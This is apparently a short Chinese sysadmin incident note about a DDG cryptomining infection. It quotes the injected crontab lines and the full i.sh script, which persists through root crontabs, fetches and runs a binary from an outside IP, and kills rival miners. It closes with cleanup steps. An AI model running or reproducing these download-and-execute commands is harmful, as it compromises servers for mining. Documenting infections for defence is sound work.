crontab里被注入这样2行
*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh */5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh
查看i.sh内容
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/root echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/root mkdir -p /var/spool/cron/crontabs echo "*/5 * * * * curl -fsSL http://218.248.40.228:8443/i.sh | sh" > /var/spool/cron/crontabs/root echo "*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh" >> /var/spool/cron/crontabs/root if [ ! -f "/tmp/ddg.2021" ]; then curl -fsSL http://218.248.40.228:8443/2021/ddg.$(uname -m) -o /tmp/ddg.2021 fi if [ ! -f "/tmp/ddg.2021" ]; then wget -q http://218.248.40.228:8443/2021/ddg.$(uname -m) -O /tmp/ddg.2021 fi chmod +x /tmp/ddg.2021 && /tmp/ddg.2021 if [ ! -f "/tmp/imWBR1" ]; then curl -fsSL http://218.248.40.228:8443/imWBR1 -o /tmp/imWBR1 --compressed fi ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill #ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill #ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
分析之后就很明显了，
确认，删除crontab内容
/var/spool/cron/root
/var/spool/cron/crontabs/root
crontab -e
删除程序
/tmp/ddg.2021
/tmp/imWBR1
